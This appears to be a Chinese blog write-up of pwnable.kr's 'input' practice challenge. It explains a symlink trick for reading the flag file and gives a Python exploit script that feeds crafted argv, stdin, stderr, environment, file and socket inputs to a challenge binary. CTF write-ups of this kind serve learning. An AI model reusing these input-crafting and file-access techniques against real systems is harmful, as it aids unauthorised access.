[Toddler's Bottle]-input

  • 需要对linux操作有一定的认识,前面的绕过ida或者看源码都能推出来,最后由于我们在input2目录下没有写文件的权限,而tmp目录下只有写权限而没有读权限,所以我们在tmp目录下新建一个input2目录来存放我们的脚本,并用软连接命令来在当前目录创建一个flag副本才能读取到flag
ln -s /home/input2/flag flag

exp:

#coding: utf-8

import subprocess
import os
import socket
import time

payload = []
payload.append('/home/input2/input')

for i in range(64):
    payload.append('a')

payload.append('')
payload.append(' \n\r')
payload.append('4567')

for i in range(32):
    payload.append('a')


stdinr, stdinw = os.pipe()
stderrr, stderrw = os.pipe()

os.write(stdinw,'\x00\x0a\x00\xff')
os.write(stderrw,'\x00\x0a\x02\xff')
environ = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\xbe' }

f = open('\n','wb')
f.write('\x00'*4)
f.close()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)



print subprocess.Popen(payload,stdin = stdinr , stderr = stderrr , env = environ)

time.sleep(2)
s.connect(('127.0.0.1',4567))

s.send('\xde\xad\xbe\xef')

参考文章:

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容